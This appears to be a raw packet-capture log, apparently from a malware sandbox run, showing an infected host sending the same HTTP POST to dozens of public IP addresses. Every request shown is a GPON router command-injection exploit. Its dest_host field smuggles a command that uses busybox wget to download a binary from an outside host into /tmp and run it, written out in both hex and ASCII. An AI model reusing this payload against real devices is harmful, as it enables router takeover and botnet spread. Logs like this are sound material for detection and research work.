Apr 14, 2024 03:59:56.177377939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.23	33896	79.76.209.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177383900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.23	60802	5.218.176.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177450895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.23	46626	123.4.96.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177462101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.23	44784	109.57.3.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177494049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.23	47980	2.4.108.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177550077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.23	45038	79.36.148.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177570105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.23	48782	42.37.143.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177603960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.23	33944	212.59.77.20	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177635908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.23	42550	178.44.158.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177681923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.23	49358	210.56.179.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177695036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.23	55036	5.44.75.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177728891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.23	37508	118.102.190.228	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177810907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.23	44304	2.90.248.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177815914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.23	50782	94.104.12.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177838087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.23	38048	202.164.104.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177895069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.23	36788	94.161.154.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177930117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.23	46474	37.135.5.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.177961111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.23	50558	42.1.93.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178009033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.23	57210	210.132.46.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178040028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.23	56110	118.91.121.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178086042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.23	34032	202.209.47.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178123951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.23	46264	212.19.4.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178168058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.23	45444	42.57.160.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178196907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.23	48122	2.147.141.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178232908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.23	34218	178.37.21.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178287983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
